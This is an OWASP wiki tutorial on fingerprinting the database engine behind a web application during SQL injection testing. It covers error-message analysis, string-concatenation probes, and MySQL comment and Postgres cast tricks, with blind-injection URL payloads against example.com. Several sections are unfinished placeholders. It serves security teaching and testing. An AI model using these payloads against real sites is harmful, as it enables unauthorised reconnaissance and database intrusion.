OWASP Backend Security Project DBMS Fingerprint

= Overview =

To furthermore exploit SQL Injection vulnerability you need to know what kind of Database Engine your web application is using. There are a few techniques to accomplish this task: * Error Code Analysis * Engine Fingerprint

= Description =

Error Codes Analysis
By performing fault injection, or fuzzing, you can gather important information through error code analysis. Let'see some examples:

http://www.example.com/store/findproduct.php?name='

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '  at line 1

http://www.example.com/store/products.php?id='

Warning: pg_exec [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9

Engine Fingerprint
First of all let see what differences exists between DBMS. One of the biggest difference between different database engine is on what operator should be used for string concatenation. A second one resides on DBMS internal function. Last but not least we can grab DBMS banner to deduce backend engine.

Fingerprinting with string concatenation
Different DBMS handle string concatenation with different operators:

MS SQL:  'a' + 'a'

MySQL:   CONCAT('a','a')

Oracle:  'a' || 'a' or  CONCAT('a','a')

Postgres: 'a' || 'a'

As you can see both Oracle and Postgres use the || operator to perform such a concatenation, so we need another difference to distinguish them.

PL/SQL define the CONCAT operator as well to perform string concatenation and as you can guess this one is not defined on Postgres.

Example:

Let say you're testing the following URL: http://www.example.com/news.php?id=1

You checked that the above URL is vulnerable to a Blind SQL Injection. It means that http://www.example.com/news.php return back the same contents with both

id=1 ( http://www.example.com/news.php?id=1 )

and

id=1 AND 1=1 ( http://www.example.com/news.php?id=1 AND 1=1 )

You know that different engine have different operators to perform string concatenation as well so all you have to do is to compare the orginal page (id=1) with:


 * MSSQL: id=1 AND 'aa'='a'+'a'
 * MySQL/Oracle: id=1 AND 'aa'=CONCAT('a','a')
 * Oracle/Postgres: id=1 AND 'a'='a'||'a'

MS SQL:

The following comparison should be true:
 * http://www.example.com/news.php?id=1''
 * http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''

MySQL:

The following comparison should be true:
 * http://www.example.com/news.php?id=1
 * http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')

Oracle:

The following comparison should be true:
 * http://www.example.com/news.php?id=1
 * http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')
 * http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'

Postgres:

The following comparison should be true:
 * http://www.example.com/news.php?id=1
 * http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'

Fingerprinting without string concatenation
Sometime is not possible to fingerprint with string concatenation operators since single quote could be escaped by web application. We can get rid of this by looking at some (in)famous DBMS internal functions unavailable on different engine.

MySQL:

One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.

So, if you determine that  http://www.example.com/news.php?id=1  is vulnerable to a BLIND SQL Injection the following comparison should be 'TRUE:

http://www.example.com/news.php?id=1 http://www.example.com/news.php?id=1 AND 1=1--

When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL http://www.example.com/news.php?id=1 /*! AND 1=1 */--

on the other side the following should be completely different: http://www.example.com/news.php?id=1 /*! AND 1=0 */--

PostgreSQL:

Postgres define the :: operator to perform data casting. It means that 1 as INT can be convert to 1 as CHAR with the following statements:

SELECT 1::CHAR

So, if you determine that  http://www.example.com/news.php?id=1  is vulnerable to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:

http://www.example.com/news.php?id=1 http://www.example.com/news.php?id=1 AND 1=1::int

MS SQL Server: ..... .....

Oracle:

.....

.....

Banner Grabbing
= References =

Victor Chapela: "Advanced SQL Injection"

http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap a blind SQL injection tool

http://sqlmap.sourceforge.net/